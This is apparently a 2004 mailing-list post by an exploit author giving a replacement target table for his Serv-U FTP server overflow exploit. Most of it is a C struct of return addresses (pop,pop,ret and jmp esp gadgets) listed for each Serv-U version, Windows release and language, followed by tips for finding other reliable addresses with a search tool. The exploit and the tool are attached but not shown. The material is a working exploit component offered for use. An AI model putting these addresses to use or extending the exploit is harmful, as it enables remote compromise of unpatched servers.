Serv-U Real Target and Search ASM Code Tool for Overflow Exploit.

["lion" <lion@cnhonker.net>]

hi,

someone said my exploit make a carsh. 
because i remove some target.
please use this target:

==============================================
struct
{
	DWORD	dwJMP;
	char	*szDescription;
}targets[] =
{
	{0x7801D07B,"Serv-U 3.x/4.x/5.x  ALL   2K         SP3/SP4"},	//msvcrt.dll pop,pop,ret addr
//	{0x78010394,"Serv-U 3.x/4.x/5.x  ALL   2K         SP4"},		//msvcrt.dll pop,pop,ret addr
	{0x77c22ca7,"Serv-U 3.x/4.x/5.x  ALL   XP         SP1"},		//msvcrt.dll pop,pop,ret addr    

//	{0x7FFA1CB5,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1571,"Serv-U 3.x/4.x/5.x  CN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all CN win2000,winxp,win2003
	{0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all EN win2000,winxp,win2003
	{0x7ffae617,"Serv-U 3.x/4.x/5.x  TW    2K/XP/2K3  ALL"},		//pop,pop,ret addr for all TW win2000,winxp,win2003
//	{0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K         ALL"},		//jmp ebx addr for all TW win2000
	{0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K         ALL"},		//jmp ebx addr for all KR win2000

	{0x7ffa4512,"Serv-U 2.x >= 2.5i  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa4512,"Serv-U 2.x <= 2.5h  CN    2K/XP/2K3  ALL"},		//jmp esp addr for all CN win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003
	{0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},		//jmp esp addr for all TW win2000,winxp,win2003

	{0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},		//call esp addr for all KR win2000,winxp,win2003
	{0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K         SP4"},		//setupapi.dll jmp esp addr
	{0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K         SP4"},		//setupapi.dll jmp esp addr

//	{0x7802ba77,"Serv-U test"},         
},v;
============================

and you can use sac.cpp (search asm code tool) to find other version system's universal address.

1. The magic address found in msvcrt.dll on the same systems(for example,win2000 sp4) are universal, even they have diffrent system language.
2. The magic address found from the address 0x7ffa0000 is universal on the same language system(for example, the address can work on the Chinese Simplified win2k,winxp,win2003 system).

 enjoy it. :) 

               lion
               lion@cnhonker.net
               http://www.cnhonker.com
               2004-03-04

Attachment: sac.cpp
Description: Binary data

Attachment: Servu2.c
Description: Binary data